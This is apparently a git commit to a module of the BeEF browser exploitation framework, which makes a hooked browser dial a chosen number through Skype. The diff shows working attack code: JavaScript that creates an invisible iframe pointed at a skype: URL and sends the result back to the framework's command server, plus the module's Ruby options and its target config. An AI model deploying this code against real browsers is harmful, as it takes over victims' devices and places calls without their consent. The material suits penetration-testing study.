(Fixes issue 495): Skype calling now works on iPhone. Changed to user notify for all applicable browsers

This commit is contained in:
Christian Frichot
2011-11-24 20:41:21 +08:00
parent c37db1e364
commit bc4cb97ae8
3 changed files with 9 additions and 4 deletions

View File

@@ -15,6 +15,6 @@
//
beef.execute(function() {
var sploit = beef.dom.createInvisibleIframe();
sploit.src = 'skype://<%= @tel_num %>?call';
sploit.src = 'skype:<%= @tel_num %>?call';
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=IFrame Created!");
});

View File

@@ -22,5 +22,4 @@ beef:
description: "This module will force the browser to attempt a skype call. It will exploit the insecure handling of URL schemes<br><br>The protocol handler used will be: skype."
authors: ["xntrik", "Nitesh Dhanjani"]
target:
working: ['S']
user_notify: ['C', 'FF', 'O']
user_notify: ['S', 'C', 'FF', 'O']

View File

@@ -16,7 +16,13 @@
class Insecure_url_skype < BeEF::Core::Command
def self.options
{ 'name' => 'tel_num', 'description' => 'The telephone number to dial', 'ui_label'=>'Number', 'value' =>'5551234', 'width' => '200px' }
return [{
'name' => 'tel_num',
'description' => 'The telephone number to dial',
'ui_label'=>'Number',
'value' =>'5551234',
'width' => '200px'
}]
end
def post_execute